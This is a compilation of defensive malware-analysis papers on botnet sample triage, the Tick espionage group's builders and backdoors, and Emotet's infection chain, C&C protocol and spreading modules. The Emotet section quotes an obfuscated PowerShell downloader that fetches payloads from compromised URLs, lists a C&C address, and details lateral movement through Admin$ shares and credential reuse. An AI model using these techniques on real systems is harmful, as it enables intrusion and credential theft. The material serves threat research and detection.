Things that are done automatically: sample source, ESET NOD32, CPU architecture, ELF Type, Valid ELF, Yara, SSDC clustering, suspicious samples. Things that need manual inspection: suspicious samples, function similarity, Detux Sandbox, IDA, Unknown Botnet. Currently, I can identify suspicious Unknown Botnet samples from 10,000 samples in half an hour every day.
Sample Filters

I use ESET NOD32 to filter out all known samples and use SSDC clustering to filter out samples in the same type/family.

The SSDC clustering mainly focus on the static information of ELF samples, which include:

- The whole file
- Code Section
- Symbol Section
- String Section
- Disassembly Function Code

Below is an example that uses SSDC and ESET NOD32 to label and cluster VPNFilter related samples. We can tell that ESET NOD32 is able to identify most of the samples, and some of unidentified samples (in red box) are correlated to the identified ones in clustering.

I use SSDC to do clustering analysis on both analyzed samples and unknown samples and group all the analyzed sample clusters. In this way, I can extract the really unknown samples quickly without writing complicated detection rules.
Running Malware in a Modified Detux Sandbox

I also do some modifications on Detux Sandbox to enhance its ability to capture more network and host data.

The tools I used to analyze malware running behavior:

- Operating System: SandboxOS
- Network: iptables, mitmproxy, fakedns
- Malware Analysis: ESET NOD32, Yara, VirusTotal
- Packet Analysis: DNS, HTTP
- Strace Analysis: Stracer

Function Similarity

Based on function similarity, I can utilize the NotStripped samples to fix Stripped samples, like recovering function name, which can help to identify basic functionality of the Stripped samples quickly. Some similarity analysis tools I know include: IDA FLIRT, fn_fuzzy, Karta, idenLib, Diaphora, BinDiff, Intezer Analyze. Below is the screenshot of the fn_fuzzy tool.
Tick Tock — Activities of the Tick Cyber Espionage Group in East Asia over the Last 10 Years

Minseok (Jacky) Cha / AhnLab

Abstract

The Tick Group is a threat actor that has been attacking corporations and organizations in Korea and Japan for more than ten years. The Tick Group also goes by other names, such as Bald Knight, Bronze Butler, Nian, and RedBaldKnight.

In 2016, Symantec first disclosed information about the Tick Group, followed by many other security companies publishing relevant analyses of the group. Most of the reported attacks took place in Japan.

While tracking down the related malware released by this group, AhnLab discovered that their attacks against Korean organizations had been ongoing since 2014. Moreover, the early malware variant used by this group has been found in Korea since 2008. The main attack targets include Korean defense industry, national security, and political organizations. They also targeted corporations in the field of energy, electronics, security, web hosting, IT services, and more. Without a doubt, they are expanding their targets across the region.

Minseok (Jacky) Cha is a Senior Principal Malware Researcher at AhnLab. He joined AhnLab as a malware analyst in 1997. He research mainly focuses on cyberattacks and threat actors in East Asia. He has been appointed as a member of the Private/Public Cooperative Investigation Group and Cyber Expert Group in South Korea. He is a reporter for the WildList Organization International. He is a member of the board of directors of AVAR (Association of Anti-Virus Asia Researches) since 2018. He was awarded the ISC2 ISLA Asia-Pacific Information Security Practitioner Award in 2018. He is a speaker at security conferences, including AVAR, AVTOKYO, CARO Workshop, CODE BLUE, HITB GSEC Commsec, JSAC, SECUINSIDE, Virus Bulletin. When he has free time, he enjoys old anime and video games.
This group has several characteristics. Since their main targets are in Korea and Japan, they carry out customized attacks in these regions. The attacker often registers and uses the domain right before the attack, rather than just hacking existing servers. Firstly, the attacker seemed to be familiar with the Delphi script, since the majority of the malware was written in Delphi. The attacker also added some garbage code to disrupt the analysis of analysts. Decompiling was not properly performed with analysis tools, such as IDA.

Also, the attacker attempted to bypass security programs by creating a file larger than 50 MB on the user's system because some security programs do not collect large files. Lastly, WinRAR Console program was mainly used to leak internal information.

**Preparation stage**

Tools, such as the builder and controller, for generating malicious code and controlling the infected system were found.

**Builder/Controller**

Threat Actors generally use malware for attacks. Sometimes, they create new malware, but most often, they reuse existing source codes by partially modifying or revising the codes to create variants. Although they can also create malware quite easily with malware generator tools, this is not what is used for most attacks. The developers of this malware are also human. That being said, they cannot create new malware for every attack. A security company previously disclosed some of the malware generators used by the Tick Group. While tracking the Tick Group, I also discovered some new malware generators that they may have used during attacks or testing.

NForce is a tool that modifies PDF files to insert malicious code. This program was used in 2011, early on in Tick Group's attacks. CheCheCheChe 2010 seems to be the prototype used during this attack.

![Figure 1. Nforce and CheCheCheChe screen](image)
To the attacker, the installed security programs are quite annoying. The reason is quite obvious. That is because those programs can detect and remove the malware. For that reason, the attacker produces a program to attack and/or disable the security program. Anti 1.03 generates a driver file that attacks the widely used Korea’s antivirus programs, such as AhnLab and Hauri. However, this is not always the case. Only the generator has been detected, so whether the generated files were used for attacks hasn’t been fully confirmed.

![Anti screen](image1)

Figure 2. Anti screen

The controllers used to control malware during attacks was also discovered. This controller can create and control Netboy. Netboy is a backdoor written in Delphi script and was detected from 2008 to 2017. The menu of this early controller is in Chinese.

![Netboy screen](image2)

Figure 3. Netboy screen

This is the controller of the early version of Xxmm that was found in 2014. This controller’s file name was Gh0st.exe, and its menu was written in English. Ghostrat is a Chinese backdoor, and its source code has been disclosed. Looking at the other malware generators, it seems very likely that it was influenced by Ghostrat.

![Xxmm 1.0 screen](image3)

Figure 4. Xxmm 1.0 screen
Xxmm2 Builder, which was created in 2015, generates an Xxmm variant and can specify the specific active time for the created variant. The attacker also seems to call this program “ShadowWalker.” The name of the generator also contains the word “Shadow.”

The attacker used steganography to encrypt and save the addresses used for downloading files in image files. This tool, which was also introduced by another security company in 2015, creates encrypted images.

NetShadow, which was created in 2015, is similar to the existing Xxmm Controller. The attacker seems to like Net or Shadow. Another malware generator also includes Net or Shadow.
This is ShadowDawn, which creates the downloader previously used in 2016. This generator created the malware used with Xxmm, which was used by the attacker at the time.

![ShadowDawn screen](image1)

**Figure 7. ShadowDawn screen**

According to the program information of the NetGhost controller found in 2017, it is based on Gh0st 3.6. Various versions of the NetGhost controller have been discovered, and some of them ask for your password when they are executed.

![NetGhost screen](image2)

**Figure 8. NetGhost screen**

The attacker can generate malware by using these generators. For that reason, many were doubtful about whether the same group performs these attacks. That is because, if a generator exists and is shared with people outside the group, it means that even people with no connections to this group can also generate malware with this generator.
Infection Vectors

This group's major attack vectors include spear phishing, watering holes, USB flash drives, and vulnerabilities in asset management programs. In Korea, there was a case of an infected executable file spreading through a USB flash drive. According to other reports, infections using watering hole attacks or exploiting weaknesses in asset management programs started in Japan. This group is also known for spreading infection by exploiting various weaknesses in the security. Regrettably, analysis of the infected systems in Korea were not revealed in the initial route of the infection, because those systems had long been under the control of the attacker at the time of analysis.

Attack Stages

The attackers infect the target systems with a dropper or downloader through spear phishing or watering hole attacks. The dropper or the downloader generates a backdoor or a stealer. Keyloggers are also installed on some systems to support continuous monitoring. Attackers use various tools to search for other systems to attack. Although these stages were explained above in ordered steps for convenience, not all infections follow this order.

Stage 1 — Dropper/Downloader

It is common for attackers to use downloaders during the attack. For example, Bisodown was used by the Tick Group as well as the Tonto Group. In 2018, I published an analysis report on the Tonto Group, which included this downloader. A Japanese analyst, who had been sharing Tick Group-related information with me, was surprised to find the Tonto Group using a Bisonal-type malware.

GhostDown was detected from February 2013 to February 2018. Its major strings, such as API addresses and C&C, are encrypted with XOR. Generally, 0xDF is used as a key. The C&C server address is viewed by decoding the password. This C&C server address was used by this downloader, as well as by other backdoors.
Gofarer is the downloader. This malware has not yet been reported in Korea. In our system, only the relevant variants in Japan have been reported to be used for attacks. Thus, the attacker may have purposely distributed this malware in Japan.

Gofarer variants’ digital signature is “Heruida Electronic Technology,” but there is no company by that name. It led me to dig deeper into the files digitally signed by this company, and I discovered additional WCE.exe variants that collected credential information.

![Digital Signature Details](image)

*Figure 10. Digital certificate of a nonexistent company used to create digital signatures*

### Stage 2-1 — Backdoor

The Tick Group used various backdoors and stealers.

Daserf was first discovered in 2009 and in Korea in 2011. Its file size is usually around 30-40 KB, but some variants are larger than 100 KB. The attacker wrote this malware in C script and Delphi script. The main function of this malware is to view file lists, execute commands using cmd, and manage files via uploading, downloading, deleting, and executing. This malware includes other versions and the encrypted C&C information at the end of the file.

The initial version of Netboy in the form of DLL was discovered in Korea in 2008, but it was frequently detected since 2010. Several variants exist, but their attack targets have not been identified. In Korea, it was used to attack major enterprises and the defense industry in 2015. This malware is written in Delphi script, and its major string is XOR encrypted with the 0xC7 key. There are also variants with other key values. This malware has various functions, including keylogging, screen capture, process list view, and program execution. There was a change in the code in 2012, and a garbage value was added to it in 2013 to make it more difficult to disassemble the code via IDA Hex-Rays.
Ninezero is a backdoor that was discovered between 2012 and 2013. In some of the infected systems, it was found with Netboy. It consists of a 70 KB dropper and a 33 KB backdoor. There were some cases of infection reported in Korea, but it was not widely used malware.

Xxmm was first discovered in 2015 and has been actively used since 2016. It's called Xxmm because its initial version included the Xxmm string. Also, it includes a distinctive PDB, but it has not been seen since December 2015. Generally, it consists of a dropper, loader, and backdoor. It communicates using an encryption key or becomes active only at specific times. Since 2017, the Xxmm variant has added a garbage value at the end of the file when creating the file to create a variant with a size of more than 50 MB. When checked by AhnLab, there were little to no infections reported in Korea.

Once Xxmm is executed, the system checks if the version is 32 bit or 64 bit, to create a dropper based on the exact version. This dropper adds garbage data at the end of the file to create a loader file with a size of more than 50 MB. The loader includes encrypted data. The loader decrypts the password from the data encrypted to the memory, executes the code, and communicates with the C&C server. At this point, it is only active at specific times.

Datper was first discovered in 2015 and is still being detected to this day. This malware was written in Delphi script and has been detected mainly in Korea and Japan. Garbage code to disrupt analyses is also embedded in these variants. Also, keyloggers or Mimikatz are sometimes discovered from infected systems.

**Stage 2-2 — USB Flash Drive Stealer**

Tickusb is another unusual malware that differs from previous backdoors. This malware leaks the information saved in the USB flash drive and modifies the EXE file. Its variants were discovered from April 2015 to November 2017. It is unknown whether they are no longer active or are simply undetectable. The malware was first found in 2015, but its initial version might have been active since 2012. Tickusb usually consists of DLL and EXE files. Some variants read and execute files in certain areas of Korean Secure USB flash drives.

This malware was first disclosed by Palo Alto Networks in 2018. What's interesting is that when an infected system is connected to a specific Korean Secure USB flash drive, it brings a certain code from a specific area within the secure USB flash drive. Unfortunately, the secure USB flash drive is no longer used or produced. So we can't get our hands on one. What code did the attacker put into the USB flash drive? And at what stage did the attacker inject the code? Is there another type of malware that injects malicious code during the production of the USB flash drive or into a specific area of the secure USB flash drive? These questions will remain a mystery.

I concluded that the malware disclosed by Palo Alto was an initial version, and is highly possible that it might have been active before September 2012.

Some variants can modify the EXE file if it exists in the USB flash drive. The modified file adds a function to allow other malware to be downloaded. Thereby, the attacker could inject another malware.

The following is a process tree of Tickusb.
At **Stage 1**, if the user executes the downloader, it downloads and runs the malware file. There are two methods of loading the malicious DLL file. The first method is being executed with the EXE file by disguising it as the required DLL file. Another method is by patching the EXE file that exists in the system to load the malicious DLL when the program is running. The file used for patching files is iff.exe.

At **Stage 2**, once Tickusb is loaded and executed via the EXE file through either of these methods, it creates a LOG file and downloads additional files. The malicious DLL file checks whether the USB flash drive is connected to the system. If the USB flash drive is connected, it runs the malware in the form of an EXE file. Some variants do not have a separate EXE file. The EXE file creates a log file again and collects the list of files saved in the USB flash drive. Some variants modify the EXE file if the following file exists in the USB flash drive.

At **Stage 3**, the executable file saved in the USB flash drive injects the downloader once the EXE file is modified and executed by the malware. Since it injects a specific executable file when modifying the file, any type of malware can be injected. Additionally, the malware patch when a specific Korean antivirus executable file is detected. Although the exact patch version has not been recorded, it helps the malware from being detected by the antivirus program.

**Stage 3 — Keylogger**

Some of the infected systems are found to have keyloggers. It assumed that the attacker installed the keyloggers on the systems that require constant monitoring. The file name of the keylogger discovered in 2011 was keyll.exe, and it remembers the keys pressed by users and stores the information in a log.txt file. It was mainly discovered in systems infected by Daserf. Another keylogger was detected from 2017 to 2018, with file names like apphelp.dll and linkinfo.dll. It was found in systems infected by Bisodown or Daserf. The last keylogger was mainly discovered in systems infected by Tickusb. Its file name is linkinfo.dll, similar to that of other keyloggers.
Stage 4 — Internal Reconnaissance

The attacker leaves behind programs that help with the transfer to other systems, excluding backdoor or keylogger.

The hwp70.exe (026ae46934eca5862db4dfc8c88c720a) file is a tool discovered from the system infected by Tickusb. The path of the discovered file disguises itself as C:\HNC\Hwp70\hwp70.exe, the name of a Hancom Hangul word processor file that is widely used in Korea. However, it is a tool that causes ARP spoofing.

In 2016, the attacker used ScanLine, a port scanner, from Foundstone which has now been acquired by McAfee. The file (a353b591c7598a3ed808980e2b2b2a2) was used on many systems and the filenames used included msp.exe, ls.tmp, and sl-p.exe.

Until 2013, WCE has been used to steal credential information. Some files were digitally signed with Heruida Electronic credentials used in the downloader. However, the attacker no longer uses the WCE.

After 2015, the attacker used Mimikatz to steal credential information. The attacker uses mi.exe, mi2.exe, m3.exe, and m32.exe as file names. If a Mimikatz with such a name is detected, it can be considered as the sign of a Tick Group attack.

Connections

The very first thing that came to my mind when reading relevant reports on this group was, "how is this malware connected to this group?" I've found some interesting facts while analyzing the malware.

With different codes for each malware, it's difficult to determine the similarities with just the code. However, some of them use the same encoding method. Although it's not safe to say that the malware is from the same group just because it uses the same encoding method, when considering the other factors, it is fair to say that they are probably in the same group.
There is some evidence that this malware is related to the group. The attacker is using a similar build and controller program. The names of these programs include Shadow, Net, and more, and they feature similar user interfaces. Some downloaders and tools contained signatures of companies that do not exist.

At the infected system, there were many cases of simultaneous infections by the previously mentioned malware. Also, the downloaders or the backdoors were found. It may just be a coincidence, but that’s hard to say that when related malware is found on multiple systems.

Similar file names are used as well. The names of Mimikatz files are similar, such as mi.exe, mi2.exe, and mi3.exe. The names of keylogger files are also similar or same.

During the recent attacks, different types of malware were connected via the same C2. In some cases, the malware used by the Tick Group is connected through the same C&C but linked to other campaigns. This was the most mysterious part. Some analysts believe that different groups use these infrastructures together.

The attacker preregisters the domain for the C&C server that will be used for the attack. The domain of the C&C server used in the attack of February 2019 was registered on January 2019, one month before the attack.

**Conclusion**

The Tick Group is a threat actor that has been active in Korea and Japan for the past ten years. It is quite obvious that they are still active.

What are the signs of attacks by this particular group? First, security software on your system may malfunction or stop operating. If the system in question is running an executable file larger than 50 MB, and if this file was coded using Delphi script, chances are high that this group may have infected your system. Attackers are likely to use file names with specific conventions.
Attackers usually use registered domains to run a C&C server. Because they register their domains 2 to 3 weeks prior to attacks, infected systems access recently registered domains. Attackers use specific versions of WinRAR Console and Port Scanner. If such software has file names that are different from the original, there is a high possibility that the attacker is watching the system.

However, a few questions still remain unanswered. Are they the same group? It might be possible that various builders exist and that those who have such builders could use this malware. Perhaps these builders are accessible to the public for anyone to create the malware. Another question is their association with other threat actors. So far, they’ve been classified as a different threat actor, but it seems like the malware in that group is using or sharing some common infrastructure, such as C&C, with other threat actors.

While tracking this malware, I have read previously released reports, analyzed samples, and collaborated with Japanese and Taiwanese analysts to answer countless questions. I was able to make additional findings through the analysis reports that others have published. I sincerely hope to maintain this collaborative relationship, and at the same time, I hope my analysis can be of used to those who are also tracking and studying this group.

References
[13] Steve Su, TeamTS, Personal Communication
[14] Kaoru Hayashi/PaloAlto Networks, Personal Communication
Abstract

Emotet malware campaign has existed since 2014 and is quite rampant till today. It carries a complete set of modules by which it can get next victims and also has the modules for the infrastructure to host malware. To evade detection from Behavioral Based Solutions (like EDR, etc.), it uses genuine Windows API and remains silent until complete infection. It has evolved from a standalone banking trojan to complex threat distributor and mainly Remote Code executor.

In this paper will shed light on how it has also become a “threat distributor” and executing payload remotely. It uses large infrastructure by compromising websites i.e. server side and client side. Its self-propagation makes it all the more challenging for security vendors to detect it statically. We will explain how the URLs in the spam emails, malware hosted on these URLs are constantly changing and using genuine Windows network API like WNetAddConnection2 for lateral movement.

Bajrang Mane: Bajrang is currently leading the Threat Analysis, Incident Response, and Automation teams in Quick Heal Security Labs. Having spent 13 years in the IT security industry, he has worked on various aspects of malware analysis and its detection. His main responsibilities include threat research, improving and automating detection systems. Previously he was involved in analyzing malware families and dealt with complex infectors to come up with remediation and its cleanup.

Prakash Galande: Prakash has over 7 years of experience in the field of Malware analysis. Currently, he is working as a Senior Security Researcher at Quick Heal. He is passionate about malware analysis, reverse engineering and researching on innovative techniques in the anti-malware field. His main specialization is analyzing PE malware. Occasionally he likes to write security blogs.
At the start of 2017, we had seen the Emotet campaign spreading through malspam email with attached PDF and JS file. In 2018, it is spreading through MS Office Word documents with a heavily obfuscated macro inside it. The mail also consists of a URL which downloads the MS Office (Word, Excel) documents. US-CERT had issued an alert (https://www.us-cert.gov/ncas/alerts/TA18-201A) highlighting how Emotet is a serious threat.

The malware shows persistent infection and is very aggressive in terms of changing the URLs and the payloads delivered by them at regular intervals making it difficult for static detection. We also saw credential theft of the network, email account credentials and passwords stored in web browsers. It attempts to spread internally throughout the network via brute force attacks using stolen credentials. It hijacks the email ids by scraping names and email addresses from the victim's Outlook account and then using the account to send out more malspam, essentially turning victims into spammers. In this paper, we will discuss how Emotet communicates with its C&C and downloads its modules. The downloaded modules are geography-specific thereby creating more challenges for security solutions. In North America & Europe region, it drops trickbot, Qbot, etc. along with the spamming module. In Asia, it drops mainly Spamming module. One of the differentiating factors is that it uses UPnP for Port Address Translation (PAT) access.

As emotet and its modules are changed on an hourly/daily basis, so we suspect that the attacker is using modern technology to change and deliver the components like automation. In this paper we will present an in-depth analysis of Emotet’s infection mechanism, binaries and loaded modules for data stealing, spamming and lateral spreading. At the end, we will discuss the impact of Emotet on infected organizations/users. Our paper will propose a solution to counter this deadly malware and will give a demo of this solution indicating how it stops Emotet.
1. Introduction

1.1. What is Emotet?

Emotet is an advanced malware campaign that has existed since 2014. It comes frequently in intervals with different techniques and variants to deliver malware on a victim. Over time it has evolved from a standalone banking trojan to a threat distributor. At the start of 2017, we had seen the Emotet campaign spreading through malspam email with attached PDF and JS file. In 2018, it spread through MS Office Word documents with a heavily obfuscated macro inside it. The mail also consists a URL which downloads the MS Office (Word, Excel) documents.

Since mid of 2018, Emotet has been used by threat actors to spread other malware like TrickBot, Qakbot and most dangerous Ryuk ransomware. It has also been observed that it loads modules and launches different malware depending on geographical location i.e. Country of Victim. From mid of 2018, Emotet has proven to be a challenging problem for cyber security providers because of its polymorphic, self-updating and spreading capabilities. It changes the delivery URLs & the actual malicious payload very frequently, which renders proactive static detection techniques almost useless and makes cleaning of such infected network very complex.

1.2. What makes it a more complex distributor?

The malware shows persistent infection and is very aggressive in terms of changing the URLs and the payloads delivered by them at regular intervals, making it difficult for static detection. We have also seen credential theft of the network, email account credentials and passwords stored in web browsers. It attempts to spread internally throughout the network via brute force attacks using stolen credentials. It hijacks the email ids by scraping names and email addresses from the victim's Outlook account and then using the account to send out more malspam, essentially turning victims into spammers.

As emotet and its modules are changed on hourly/daily basis, so we suspect that attacker are using modern technology to change and deliver the components like Machine Learning (ML) etc.

1.3. Current version’s Impact

According to US-CERT alert released on July 20, 2018

"Emotet continues to be among the most costly and destructive malware affecting state, local, tribal, and territorial (SLTT) governments, and the private and public sectors. Emotet infections have cost SLTT governments up to $1 million per incident to remediate."

At Quick-Heal Labs, we have seen many customers getting impacted because of spamming done by emotet. It harvests infected user's contact list and sends many phishing mails to those contacts. As a result, mail server reaches its maximum limit and in-turn blocks user's email account, thus blocking user from sending genuine email messages. This leads to disruption in regular operations of the organization, which may even have financial and reputational impact. In some cases, even ransomware are indirectly distributed by Emotet, which may cause temporary or permanent loss of user's critical data.
2. Life cycle

Following image captures the lifecycle of Emotet

![Emotet Life Cycle Diagram](image)

Figure 1. Emotet Life Cycle

3. Infection vector

The spreading mechanism of this campaign is a phishing email. It uses subject lines such as 'Invoice', 'Delivery details', 'Shipment details', 'Payment details' and so on to trick the victim into opening the email. In 2019, we have observed spam emails using amazon delivery template. Such emails usually contain compromised URLs that link to a maliciously crafted DOC, or XLS, or PDF or JS file from compromised websites as shown in figure below. Sometimes the malicious file is directly attached within the email.

![Phishing Email](image)

Figure 2. Phishing Email
Following are list of infection mechanisms used for Emotet delivery:

A. Doc
B. Js
C. Xls
D. Pdf
E. Lateral Spreading in network

3.1 Analysis of Document file

The malspam attachment is usually a Microsoft Word or Excel document embedded with VBA macros, which, when executed, downloads Emotet malware. A malicious office document embedded with macro, has Sub autoOpen() function which executes the macros. The AutoOpen macro is a special macro that is executed when the document is opened.

In the below snippet, the malicious code (contained in variable TextBox()) is executed via Shell

```
Figure 3. The instruction which calls a PowerShell script
```

```
The TextBox() variable contains below obfuscated code which is meant to run a PowerShell script. In the code arguments are decimal encoded to evade detection.
```

```
Figure 4. Encoded command to call PowerShell
```

Below figure shows the script that gets executed via PowerShell. Upon execution, the script downloads Emotet malware.

```powershell
powershell $1680=$w479';$n720=new-object Net.WebClient;$b368='http:
support.com/ LR115C@http://tortugadatacorp.com/K3Y7idp@http://real
.Split (@);$R701='v347';$t041='371';$K206='3964';$w525=$env:publi
{n720.DownloadFile(Su877, Sw525);$s017='6d03';If ((Get-Item $w525)
catch{}})$d779='U849';
```

Figure 5. PowerShell command

3.2 Analysis of JavaScript File

On client-side, infection JavaScript is also used as Infection vector. As many antivirus companies block infection by behavior-based policies. That's why most of the time doc file executing PowerShell which downloads malware is common behavior pattern. So emotet also targets JavaScript engine like Wscript. Wscript and Cscript engine can compile and execute script files with extension ".Js", ".vbs" and ".wsf". In our case we got ".js" file which contains many variables assigned with random strings. Then they used substr function, which selects string from 3rd position to 7 position. Lastly, they used string concatenation and substr together to get PowerShell script.

To execute this code, they used Wscript shell which can execute commands or exe. In this way decoded string is executed using Wscript shell. So Wscript executes PowerShell and this PowerShell then download payload from compromised website and execute payload. To evade behavior and signature-based detection, malware author uses these tricks. Mainly to prevent detection from AMSI they used base64 encoding with compression or in JavaScript uses substr like genuine functions. Also, emotet JavaScript file shows error message on client side after successful execution of PowerShell command.

Figure 6. JavaScript to decrypt string and Execute PowerShell.

Figure 7. Error Message after successful Execution of js
So, flow of execution is as follows:

   Email → .js file → Wscript.exe → Executes PowerShell → Download & Executes Emotet.

### 3.3 Emotet From Pdf File

Pdf files are also distributed using mail. These are simplest attacking vector where link to doc is added as action in pdf file. Which when clicked, downloads doc containing macro. Rest things are same as doc.

### 3.4 Emotet Doc as XML

Recently emotet started using xml-based file containing macros. Extension of this file is doc. so when executed with Microsoft word it executes it as doc and runs macro present in xml file. Which decodes base 64 encoded content and starts executing PowerShell. As files are xml, people who are tracking emotet URL to get new samples, don't detect this file as for Linux these files are simply xml files containing information.
4. Emotet payload analysis:

4.1 Self-copy and Persistence

The downloaded payload "{Random_name}.exe" is then executed from %temp% or %public% location. It uses a combination of pre-defined words to name its copy. The copy is then executed from respective location. If the system is 32-bit, then the execution happens from "C:\Windows\System32" or "%appdata%\samename\samename.exe"; on a 64-bit system the execution happens from "C:\Windows\SysWOW64". It checks whether it has access to service manager using OpenSCManagerW API. If service manager with all required privileges is available, then it registers itself as service at %system32% or %SysWOW64%. If service manager is not accessible to emotet process, then it adds autorun registry entry for dropped copy in %appdata%

4.2 File Name generation for self-copy

Following is the list of names that was found in one of the payloads that we analysed. Till now we found 10 unique list of names. For e.g.

"steps,intel,cyan,sbs,emit,graph,work,fx,restore,select,bml,iprop,reports, balloon,hop,symbol,mddefw,cyrl,map,shims,iface,porto,ras,eula,phd,sec,etk, wpc,ds,cat,archive,pass,did,rule,compile,bundle,merged,keyand,android,compare, stg,mnu,lanes,dmi,lime,route,tap,msra,running,boost,jit,diala,fetch, tabbnn,sandand,vert,imp,thc,clear,role,drv,readme"

File Name generation Algorithm found in payload.

VolumeSerial = GetVolumeSerialInformationA();
pcString = “Comma separated strings”
iRemainder = dwVoumeSerialNum % iLength;
newVolumeSerialNum = ~(dwVoumeSerialNum / iLength);
   pcString = dwVoumeSerialNum % iLength + *StringNameCopy;
   SelectedWord1 = (--pcString) till ','comma is found.
   dwVoumeSerialNum = newVolumeSerialNum;
Repeat loop for one more time
Concatenate two words

4.3 C&C communication using protocol buffer:

Emotet payload contains IP addresses list of C&C servers. The data from victim’s machine is initially encoded using protocol buffer encoding. The encoded data is then encrypted using AES + RSA algorithms followed by Base64 encoding.

Older Emotet samples used HTTP GET request for sending victims information to C&C server. The final encoded data was added to the cookie of HTTP GET request generated for communication. In latest versions we have observed change in communication pattern. The encoded data is now sent in HTTP POST request. This pattern change might have been done to avoid detection.

The spawned process first gathers data such as list of all the running processes, unique Botid, OS version details, etc and then proceeds to CnC communication as shown in below code snippet.
4.3.1 PROTOCOL BUFFER ENCODING

Emotet uses protocol buffer mechanism for communication. Protocol buffer message is a series of key-value pairs. When a message is encoded, the keys and values are concatenated into a byte stream as can be seen in below figure:

In above in memory buffer we can see request which emotet send's to the CnC server, actually this is protocol buffer structure. “IEWIN7-3C9E0900” this is the bot id of system, then it collects system version, then last dword is crc32 value of emotet payload which it uses to identify if payload is modified or latest version i.e. synced with servers latest payload version or not. Then at last it appends process list.
According to Google protocol buffer documentation - "Each key in the streamed message is a variant with the value (field_number << 3) | wire_type – in other words, the last three bits of the number store the wire type." This logic of encoding Key as (field_number << 3) | wire_type is implemented in Emotet payload as follows:

As you can see in above figure of Emotet CnC Request before actual Botid value its key in the buffer is 0x120F. On reversing above code, key 0x12 represents field number = 2 and wire type = 2. Here field number refers to element number in protocol buffer structure and wire type represents string which is predefined as follows for Google protobuffer encoding.

0x0F in 0x120F simply represents length of string. Here Botid's length in request is 0x0F bytes. String is kept as it is in Google protocol buffer after its key value and length. As you can see the same in above figure representing Emotet CnC Request Botid field's value i.e. String is kept as it is. On the other side int32 i.e. Variant is encoded using following code snippet logic:

---

**Figure 12. Google protocol buffer- Key Encoding**

**Figure 13. Google protocol buffer- wire types**

**Figure 14. Google protocol buffer- Variant value Encoding**
On reversing above request message contents before encoding we get following message request protocol.

```plaintext
message regrequest {
  required int32 command = 1;
  required string botId = 2;
  required int32 osVersion = 3;
  required int32 checkflag= 4;
  required fixed32 crc32 = 5;
  required string processList = 6;
  required string Unknown = 7;
}
```

Where bot id is created using combination of computer name and volumeserial number of drive where windows is installed and crc32 is obtained using RtlComputeCrc32. If crc32 of current binary is not recent on C&C server then it sends updated binary as response. For each request to the C&C payload again creates running processes list. If list contains VirtualBox or debugger related processes, then CnC blocks Botid.

### 4.3.2 ENCRYPTION:

Before sending the data to server, Emotet encrypts the data. It starts with loading RSA public key, which is stored in its main module. Then, AES symmetric key is generated using cryptographically secure CryptGenKey function. This key is used to encrypt the data. Additionally, the AES key is encrypted using previously loaded RSA public key.

### 4.3.3 REQUEST AND RESPONSE STRUCTURES AND OTHER DETAILS:

Now a day’s emotet is using random URL patterns created from word list, by using similar algorithm as emotet naming logic for dropped copy. This is done to identify emulators run by security researchers. If URL pattern is not present then it blocks that IP and bot id. E.g. it sends request to url like `http://103.201.150.209:80/cone/`. also it accepts only post requests. When we send updated crc32 as request we got 6 modules as response for Indian IP. Emotet has server-side validation which checks geolocation of client and delivers malware according to IP location. For blocking it only blocks bot id which is unique for each customer. To execute Modules, it contains 4 switch cases, in response it contains blob where case id for each module is also sent.

To Execute Modules following 4 ways are used:

1. Write File to Temp and execute (arguments)
2. Write File to Temp and execute (Trickbot)
3. Download File and execute (URL is received which is then downloaded and executed)
4. Load into memory as thread (dll-modules)

Structure of request packet sent to server can be represented as follows:

<table>
<thead>
<tr>
<th>Encrypted 128-bit AES key</th>
<th>SHA1 hash of plaintext request body</th>
<th>AES-128-CBC encrypted</th>
</tr>
</thead>
</table>
The IP addresses of Emotet’s C&C servers are hardcoded into the bot which sends the POST request to each URL. If a request was successfully received, C&C server returns a list of Emotet modules. Response body contains encrypted data.

Structure of encrypted response is similar to the request structure. Response is encrypted using the same AES key, which was passed in request.

Structure of a response packet received from server can be represented as follows:

<table>
<thead>
<tr>
<th>Digital Signature</th>
<th>SHA1 hash of Answer</th>
<th>AES-128-CBC encrypted</th>
</tr>
</thead>
</table>

The response from C&C server is having digital signature of 0x60 bytes which is verified by the malware before decrypting the answer. After that 0x14 byte SHA1 hash and after that AES encrypted response is present. After first 0x74 bytes Actual response with modules is present. All modules can be sent as single response by C&C in Protobuf encoded format. Generally, modules which are dll are loaded as Thread and malware is directly executed by dropping to temp directory.

5. Emotet modules

5.1 Credentials stealer Module

Purpose is to steal credentials from web browser and mail client

- Mail PassView (Email Password-Recovery) 1.86 (166kb)
- WebBrowserPassView 1.80 (405kb)

Both modules are embedded in file and encrypted using XOR operation. On module start up, these two modules (Nirsoft software) are decoded and stored in %TEMP%. They are then executed with /scomma [temp file name] parameter, which dump all passwords into file contained in %TEMP% folder. Stolen data were sent to CnC server for malware spreading purpose.

5.2 Network Spreader Module (16kb):

It is emotet’s own module with 16kb size. This module is the first module which drops after successful CnC communication. It is loaded as thread and executed in memory. It resolves imports in memory by deobfuscating strings on stack. Then it uses CreateTimerQueueTimer Function to schedule timer for function with 0x3E8 time for reactivation, WT_ExecuteLongFunction flag.

It uses genuine api for lateral movement, so it is very difficult to Detect it in IDS/IPS. It enumerates connections in network by using WNetEnumResourceW function. This function returns list of shares, network resources in network in NETRESOURCE structure same as “net view” command. Also, it uses NetUserEnum function to retrieve user account information from server.
To Transfer file to pc in network it uses above code. Whereas, to login into another pc it uses WNetAddConnection2W which accepts username and password for network resource. If null is passed as username and password it uses local account credential. If local account is domain admin then it can access all resources in network. Once it gets access it copies file to Admin$ share and create service on remote pc and starts it as service.

Also, it contains code for taking credential of active session or credential stored in memory.
WTSGetActiveConsoleSessionId this function is used for retrieving identifier of console session which is input for WTSQueryUserToken. This function retrieves session id which is used for CreateProcessAsUser function. So, by using this function emotet can retrieve credential for logged on session which are present in memory. In this way it can impersonate any logged-on user and reuse its credential and resource access across the network. This is similar to NTLM Relay attack. Also, it does brute forcing by using computer name, username collected from above API its combination is used as credential for resources in network.

On client system Admin$ resolves to Windows directory, so this module copies emotet sample to windows directory with Alphanumeric name of 8 alphabets. On client PC, it is then executed as service which is similar as sc.exe //targethost start service. So, on client-side parent process is Services.exe. Then for persistency again it creates unique name and retrieves system folder path by using "SHGetFolderPathW" function and relocate itself to new location by using "SHFileOperationW". Then register itself as service and start execution as service. Then again, this infected system works as bot and starts infecting other systems in network.

5.3 Emotet's Email Harvesting Module (288kb)

